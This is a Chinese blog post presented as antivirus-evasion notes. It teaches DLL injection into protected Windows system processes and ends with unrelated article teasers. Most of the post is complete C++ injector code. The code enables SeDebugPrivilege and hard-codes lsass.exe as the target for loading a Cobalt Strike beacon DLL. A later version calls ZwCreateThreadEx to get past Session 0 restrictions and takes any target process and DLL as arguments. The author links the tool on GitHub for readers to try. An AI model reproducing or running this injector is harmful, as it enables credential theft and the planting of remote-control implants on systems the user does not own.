免殺筆記 ---> Session0--DLL注入

剛更新完上一篇,于是我們就馬不停蹄的去跟新下一篇!!? Session0注入

?:: 各位看官如果覺得還不錯的可以給博主點個贊💕💕

這次,我把這個腳本直接傳到Github上了 喜歡的師傅點個Star噢 (? ω ?)

whoami-juruo/DLLInjectTools: 一款集成了竊取令牌和從Session0和3進行DLL注入的工具。 (github.com)icon-default.png?t=N7T8https://github.com/whoami-juruo/DLLInjectTools?tab=readme-ov-file

目錄

1.注不了系統進程

2.Session0隔離

3.Getsystem????

4.Session0注入

CreateRemoteThread


1.注不了系統進程

我上一篇的Blog提供了一個DLL注入的腳本,當時我們注入的是Notepad++這個普通進程,不過這不是我們想要的啊!!!? ? ?哈哈哈哈,讓我再引用一下我上一篇Blog

那我們嘗試來注入一下Lsass進程 ?? Lsass進程可是一個系統進程,我們電腦的明文密碼就寫在了這個進程里面(這個我之前講過,如果好奇的可以看看我以前的Blog)

那么我們嘗試注入一下??? 好家伙,直接連句柄都獲取不了

那么我們以管理員的身份開啟一下CMD來注入一下(過一下UAC看看)???

還是連句柄都獲取不了,所以我們就要換代碼!!

2.Session0隔離

首先我們來了解一下什么是Session0

在計算機領域中,"Session 0" 是指操作系統中運行的系統級別會話。具體來說,它通常指的是 Windows 操作系統中的服務會話。

更好的解釋就是

在 Windows 中,用戶登錄后會創建一個交互式會話(Interactive Session),這是用戶可以看到和操作的桌面環境。然而,有一些服務和系統進程不需要用戶交互式桌面,它們在一個不可見的系統級別會話中運行,這個會話被稱為 Session 0。

那么為什么我們就算是管理員也注入不了Lsass進程呢?

權限不足即使你以管理員權限運行,仍然可能無法對 lsass.exe 進行 DLL 注入。這是因為管理員權限雖然可以進行許多操作,但某些系統關鍵進程可能需要更高級別的特權或專門的權限才能進行修改.

其中上面提到的更高級別的特權或者專門的權限就是System權限!!! 但是其實如果我們能過UAC或者是administrator的話,就已經是SYSTEM了!!!?

3.Getsystem????

我相信大家一定在提權的時候(無論是在CS,MSF)上都試過直接Getsystem!!!! 那么它的原理是什么呢 ? 其實就是竊取令牌(我在在內網的權限提升的時候講過)

只有administrator或者過了UAC的普通管理員才能竊取SYSTEM令牌!!

不信我們來試試,我們分別上線一個沒過UAC,和一個過了UAC的普通管理員

? ?*代表過了UAC

然后我們先用普通管理員進行Getsysten!!

可以看見直接Failed了!!!

那么我們去過了UAC的管理員那里Getsystem試一下? 這時候我們就是SYSTEM權限

其實它就是通過下面這段代碼來竊取令牌(提權)

BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}

對于SYSTEM權限,我們是可以隨便注入的!!! 不信我們在我們的腳本上面插入這個提權腳本

#include<iostream>
#include<tchar.h>
#include<Windows.h>
#include<Tlhelp32.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")BOOL EnableDebugPrivilege()
{HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;
}DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("	[-] 獲取進程快照失敗,請重試! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}void DLLInject(DWORD pid,LPCWSTR dllpath)
{//1.獲取句柄HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);if (OriginalProcessHandle == NULL){cout << "	[-] Get TargetProcessHandle Failed :(" << endl;if (EnableDebugPrivilege() == TRUE){cout << "	[-] Is This EXE Opened? :(" << endl;}else {cout << "	[-] Please Run This Under Administrator Role :(" << endl;}return;}else {cout << "	[*] Get OriginalProcessHandle Successfully :)" << endl;}//2.遠程申請內存DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (RemoteMemory == NULL){cout << "	[-] VirtualAlloc Address Failed :(" << endl;return;}else {cout << "	[*] VirtualAlloc Address Successfully :)" << endl;} //3.將CS上線的DLL寫入內存BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);if (WriteStatus == 0){cout << "	[-] Write CS's DLL Into Memory Failed :(" << endl;return;}else{cout << "	[*] Write CS's DLL Into Memory Successfully :)" << endl;}//4.獲取LoadLibrary地址FARPROC FunctionHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//5.創建線程HANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);if (RemoteHandle == NULL){cout << "	[-] Create Remote Thread Failed :(" << endl;return;}else {cout << "	[*] Create Remote Thread Successfully :)" << endl;}//6.等待線程結束WaitForSingleObject(RemoteHandle, -1);//7.釋放DLL空間VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//8.關閉句柄CloseHandle(OriginalProcessHandle);cout << "	[*] DLL inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}int main()
{HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN);  cout << endl<<"	    Under the sun,there is no secure system!!"<<endl<<"	        Scripted By Whoami@127.0.0.1  :》" << endl;if (EnableDebugPrivilege() == TRUE){cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[*] Privilege Elevated Successfully, Now You Have Bypassed UAC :) " << endl;}else {cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[-] Privilege Elevated Failed, You Haven't Bypassed UAC :( " << endl;}DWORD PID = GetProcessPID(L"lsass.exe");  //必須小寫DLLInject(PID, L"C:\\Users\\ASUS\\Desktop\\inject.dll");return 0;
}

然后我們直接以管理員權限運行!(當然,你的DLL得寫絕對路徑)

4.Session0注入

上面的方法確實可以注入高權限的進程,但是不是我們今天的主題捏!!? 我們今天的主題是Session0的注入,雖然說Session0注入也是要提升到System權限,但是這兩個注入是有本質區別的!!!? 所以我們還是開始我們今天的Session0注入吧!!!?

CreateRemoteThread

我們眾所周知,我們的CreateRemoteThread這個函數他是這樣進入0環的

  • 在64位下,首先將他擴展成CreateRemoteThreadStub(八個參數)
  • 然后去到KernelBase.dll中尋找CreateRemoteThreadEx這個API
  • 再通過一眾的跳步之后,我們就在NTdll中找到NTCreateThreadEx這個最終的API
  • 然后直接通過SysCall進入內核層再去SSDT表

所以我們就可以直接用一個更加底層的函數!!!? ZwCreateThreadEx

研究發現,CreateRemoteThread底層會調用內核函數ZwCreateThreadEx,而系統調用此函數時,如果發現時系統進程,會把函數的第七個參數CreateSuspended設置為1,導致線程創建完成后會一直處于掛起狀態,無法恢復運行,導致注入失敗。所以我們可以手動調用ZwCreateThread這一內核函數!

其中,ZwCreateThreadEx是一個未文檔化的API,所以我們需要手動聲明

#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);

所以其實我們的流程都是差不多的,只不過要轉換函數罷了,這我們就對昨天的代碼直接進行更改了(我想偷懶

#include<iostream>
#include<tchar.h>
#include <cstring>
#include<Windows.h>
#include<Tlhelp32.h>
#include <cctype> 
using namespace std;
#pragma comment(linker, "/section:.data,RWE")BOOL EnableDebugPrivilege()
{HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;
}DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("	[-] 獲取進程快照失敗,請重試! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}void DLLInject(DWORD pid, LPCWSTR dllpath)
{//1.獲取句柄HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (OriginalProcessHandle == NULL){cout << "	[-] Get TargetProcessHandle Failed :(" << endl;if (EnableDebugPrivilege() == TRUE){cout << "	[-] Is This EXE Opened? :(" << endl;}else {cout << "	[-] Please Run This Under Administrator Role :(" << endl;}return;}else {cout << "	[*] Get OriginalProcessHandle Successfully :)" << endl;}//2.遠程申請內存DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (RemoteMemory == NULL){cout << "	[-] VirtualAlloc Address Failed :(" << endl;return;}else {cout << "	[*] VirtualAlloc Address Successfully :)" << endl;}//3.將CS上線的DLL寫入內存BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);if (WriteStatus == 0){cout << "	[-] Write CS's DLL Into Memory Failed :(" << endl;return;}else{cout << "	[*] Write CS's DLL Into Memory Successfully :)" << endl;}//4.獲取LoadLibrary地址FARPROC LoadLibraryHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//5.聲明ZwCreateThreadEx函數
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endif//6.獲取NTDLL中ZwCreateThreadEx函數typedef_ZwCreateThreadEx  ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwCreateThreadEx");if (ZwCreateThreadEx == NULL){cout << "	[-] Get ZwCreateThreadEx Address Failed :(" << endl;return;}else {cout << "	[*] Get ZwCreateThreadEx Address Successfully :)" << endl;}//5.創建線程 ring3調用CreateRemoteThreadHANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryHandle, RemoteMemory, 0, NULL);if (RemoteHandle == NULL){cout << "	[-] Ring3 Thread Inject Failed :(" << endl;return;}else {cout << "	[*] Ring3 Thread Inject Successfully :)" << endl;}//7.創建線程  ring0調用ZwCreateThreadExHANDLE hRemoteThread;DWORD Status = 0;Status = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, OriginalProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryHandle, RemoteMemory, 0, 0, 0, 0, NULL);if (Status == NULL){cout << "	[*] Ring0 Thread Inject Successfully :)" << endl;}else{cout << "	[-] Ring0 Thread Inject Failed :(" << endl;return;}WaitForSingleObject(RemoteHandle, -1);//8.釋放DLL空間VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//9.關閉句柄CloseHandle(OriginalProcessHandle);CloseHandle(ZwCreateThreadEx);cout << "	[*] DLL inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}int _tmain(int argc, TCHAR* argv[])
{HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_BLUE);if (argc == 3) {std::cout << "▓█████▄  ██▓     ██▓     ██▓ ███▄    █  ▄▄▄██▓▓▓▓█████  ▄████▄  ▄▄▄█████▓\n";std::cout << "▓██▓ ██▌▓██▓    ▓██▓    ▓██▓ ██ ▓█   █    ▓██   ▓█   ▓ ▓██▓ ▓█  ▓  ██▓ ▓▓\n";std::cout << "▓██   █▌▓██▓    ▓██▓    ▓██▓▓██  ▓█ ██▓   ▓██   ▓███   ▓▓█    ▄ ▓ ▓██▓ ▓▓\n";std::cout << "▓▓█▄   ▌▓██▓    ▓██▓    ▓██▓▓██▓  ▓▌██▓▓██▄██▓  ▓▓█  ▄ ▓▓▓▄ ▄██▓▓ ▓██▓ ▓ \n";std::cout << "▓▓████▓ ▓██████▓▓██████▓▓██▓▓██▓   ▓██▓ ▓███▓   ▓▓████▓▓ ▓███▓ ▓  ▓██▓ ▓ \n";std::cout << " ▓▓  ▓ ▓ ▓▓▓  ▓▓ ▓▓▓  ▓▓▓  ▓ ▓▓   ▓ ▓  ▓▓▓▓▓   ▓▓ ▓▓ ▓▓ ▓▓ ▓  ▓  ▓ ▓▓   \n";std::cout << " ▓▓  ▓ ▓ ▓ ▓  ▓▓ ▓ ▓  ▓ ▓ ▓▓ ▓▓   ▓ ▓▓ ▓ ▓▓▓    ▓ ▓  ▓  ▓  ▓       ▓    \n";std::cout << " ▓ ▓  ▓   ▓ ▓     ▓ ▓    ▓ ▓   ▓   ▓ ▓  ▓ ▓ ▓      ▓   ▓          ▓      \n";std::cout << "   ▓        ▓  ▓    ▓  ▓ ▓           ▓  ▓   ▓      ▓  ▓▓ ▓                \n";std::cout << " ▓                                                     ▓                    \n";SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);cout << endl << "	    Under the sun,there is no secure system!!" << endl << "	        Scripted By Whoami@127.0.0.1  :》"<<endl<<"	          Color Picked By Icy Water :)" << endl;if (EnableDebugPrivilege() == TRUE){//cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[*] Privilege Elevated Successfully, Now You Have Bypassed UAC :) " << endl;}else {cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[-] Privilege Elevated Failed, You Haven't Bypassed UAC :( " << endl;}DWORD PID = GetProcessPID(argv[1]);  //必須小寫DLLInject(PID, argv[2]);}else{cout << "	[-] Two Parameters are required" << endl;}return 0;
}

這里小編也把扔到Github上了,如果喜歡的兄弟萌也可以下來玩一玩噢!!?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/43523.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/43523.shtml
英文地址,請注明出處:http://en.pswp.cn/web/43523.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

深入理解JS中的防抖節流

在Web開發中,防抖(Debouncing)和節流(Throttling)是兩種常用的優化技術,用于提高頁面性能和用戶體驗。它們通過限制函數執行的頻率來減少計算資源的消耗,尤其是在處理頻繁觸發的事件時,如窗口大小調整、滾動、鍵盤輸入等。 1、防抖(Debouncing) 防抖技術的核心思想是…

風景園林工程設計乙級資質業績要求案例分析

項目數量與規模 數量要求&#xff1a;企業需要提供一定數量的已完成風景園林設計項目案例&#xff0c;這個數量可能依據具體政策而有所不同&#xff0c;但通常需要完成多個項目以展示設計團隊的綜合能力。 規模要求&#xff1a;項目規模需達到乙級資質標準所規定的級別&#…

【C++報錯已解決】Dangling Pointer

&#x1f3ac; 鴿芷咕&#xff1a;個人主頁 &#x1f525; 個人專欄: 《C干貨基地》《粉絲福利》 ??生活的理想&#xff0c;就是為了理想的生活! 文章目錄 引言一、問題描述1.1 報錯示例1.2 報錯分析1.3 解決思路 二、解決方法2.1 方法一&#xff1a;使用智能指針2.2 方法二…

本地部署,GFPGAN: 實用的面部修復算法

目錄 什么是 GFPGAN&#xff1f; 技術原理 主要功能 應用場景 本地安裝 運行結果 結語 Tip&#xff1a; 在圖像處理和計算機視覺領域&#xff0c;面部修復是一個重要且具有挑戰性的研究方向。隨著深度學習技術的不斷進步&#xff0c;許多新的算法被提出&#xff0c;用于…

C# 根據日期對mysql數據庫數據篩選的一些操作函數

在C#中,根據日期篩選MySQL數據庫中的數據是一個常見的操作。以下是一些基于日期的數據篩選操作函數示例: 1. 篩選特定日期的數據 public List<YourDataType> GetDataBySpecificDate(DateTime specificDate) {List<YourDataType> dataList = new List<YourDa…

Python8:線程和進程

1.并發和并行 并發&#xff1a;在邏輯上具備同時處理多個任務的能力&#xff08;其實每時刻只有一個任務&#xff09; 并行&#xff1a;物理上在同一時刻執行多個并發任務 2.線程與進程 一個進程管多個線程&#xff0c;一個進程至少有一個線程 python多線程是假的&#xf…

【漏洞復現】docassemble——interview——任意文件讀取

聲明&#xff1a;本文檔或演示材料僅供教育和教學目的使用&#xff0c;任何個人或組織使用本文檔中的信息進行非法活動&#xff0c;均與本文檔的作者或發布者無關。 文章目錄 漏洞描述漏洞復現測試工具 漏洞描述 docassemble 是一款強大的開源工具&#xff0c;它讓自動化生成和…

linux_進程概念——理解馮諾依曼體系結構

前言&#xff1a; 本篇內容是為了讓友友們較好地理解進程的概念&#xff0c; 而在真正了解進行概念之前&#xff0c; 要先了解一下馮諾依曼體系結構。 所以博主會先對馮諾伊曼體系結構進行解釋&#xff0c; 然后再講解進程的概念。 ps&#xff1a; 本篇內容適合了解一些linux指…

openfoam生成的非均勻固體Solid數據分析、VTK數據格式分析、以及paraview官方用戶指導文檔和使用方法

一、openfoam生成的非均勻固體Solid數據分析 對于Solid/dealii-output文件&#xff0c;固體的數據文件&#xff0c; # vtk DataFile Version 3.0 #This file was generated by the deal.II library on 2024/7/10 at 9:46:15 ASCII DATASET UNSTRUCTURED_GRIDPOINTS 108000 do…

go1.21版本后,文件加載順序

總結 顯式引入&#xff1a; 同一個文件顯式引入一個包&#xff0c;按照頁面代碼執行的函數的先后&#xff0c;來執行該函數的文件&#xff0c;不按照包內的文件首字母順序 隱式引入&#xff1a; 同一個文件內隱式引入一個包&#xff0c;包內的多個文件會按照文件首字母順序執行…

移動端 圖片優化

項目場景&#xff1a; 在移動端開發&#xff0c;加載圖片并保持圖片不變形是非常重要的&#xff0c;也是一名前端必備和經常打交道的內容。以下是自己對圖片加載是變形的處理&#xff1f; 問題和解決方法 移動端加載圖片&#xff0c;不同的手機&#xff0c;圖片的展示不一樣&…

二分查找理論及例題

二分查找&#xff08;Binary Search&#xff09;是一種常用的搜索算法&#xff0c;用于在有序數組中快速查找目標值。以下是二分查找的詳細理論知識、優缺點以及適用場景&#xff1a; 理論知識&#xff1a; 基本原理&#xff1a;二分查找通過比較目標值與數組的中間元素&#x…

Qt(五)網絡編程

文章目錄 一、QTcpServer類&#xff08;一&#xff09;使用&#xff08;二&#xff09;示例1. 服務端2. 客戶端&#xff1a; 二、 一、QTcpServer類 QTcpServer類用于監聽客戶端的連接&#xff0c;每當有一個客戶端連接到服務端&#xff0c;都會生成一個新的QTcpSocket對象與客…

【每日一練】python面對對象的基本概念和用法(附實例)

面向對象編程&#xff08;OOP&#xff09;是一種程序設計方法&#xff0c;其基本概念包括對象、類、繼承和封裝。 對象&#xff1a;對象是系統中的基本單位&#xff0c;用于描述客觀事物。每個對象包含一組屬性和對這些屬性進行操作的方法。對象是類的一個實例&#xff0c;具有…

Spark SQL----NULL語義

Spark SQL----NULL語義 一、比較運算符中的空處理二、邏輯運算符中的空處理三、表達式中的空處理3.1 null-intolerant表達式中的空處理3.2 可以處理空值操作數的空處理表達式3.3 內置聚合表達式中的空處理 四、WHERE、HAVING和JOIN子句中的條件表達式的空處理五、在GROUP BY和D…

Camera Raw:直方圖

Camera Raw 的直方圖 Histogram面板不僅提供了照片亮度和色彩分布信息&#xff0c;還具備多項實用功能&#xff0c;輔助評估和調整照片。 ◆ ◆ ◆ 直方圖的構成 直方圖是一個二維坐標系統&#xff0c;橫坐標表示不同程度的像素亮度&#xff0c;從左到右通常對應的是 0 ~ 255…

升級springboot3.2集成shiro的問題

由于之前的springcloud相關版本太久&#xff0c;很多新功能無法使用&#xff0c;所以打算抽時間把代碼的版本做一下升級。使用最新版的springboot3.2&#xff0c;發現shiro過濾器無效。經檢查發現原因&#xff1a; springboot3.x使用的是JDK17&#xff0c;從jdk8以后javax.serv…

視頻智能解析:Transformer模型在視頻理解的突破性應用

視頻智能解析&#xff1a;Transformer模型在視頻理解的突破性應用 隨著人工智能技術的飛速發展&#xff0c;視頻理解已成為計算機視覺領域的一個熱點問題。Transformer模型&#xff0c;以其在處理序列數據方面的強大能力&#xff0c;已經被廣泛應用于視頻理解任務中。本文將深…

Github 2024-07-11 Go開源項目日報 Top10

根據Github Trendings的統計,今日(2024-07-11統計)共有10個項目上榜。根據開發語言中項目的數量,匯總情況如下: 開發語言項目數量Go項目10Solidity項目1Python項目1frp: 一個開源的快速反向代理 創建周期:2946 天開發語言:Go協議類型:Apache License 2.0Star數量:75872 …

Spring的bean的生命周期——bean的創建與銷毀

1、生成類信息map 掃描包&#xff0c;用asm技術獲取類信息&#xff0c;打了ComponentScancomponentservice等注解的類會放入map。key是類名&#xff0c;value是beanDefinition類的基本信息 2、加載類 context.getBean("userService") 從類信息map中獲取beanDefin…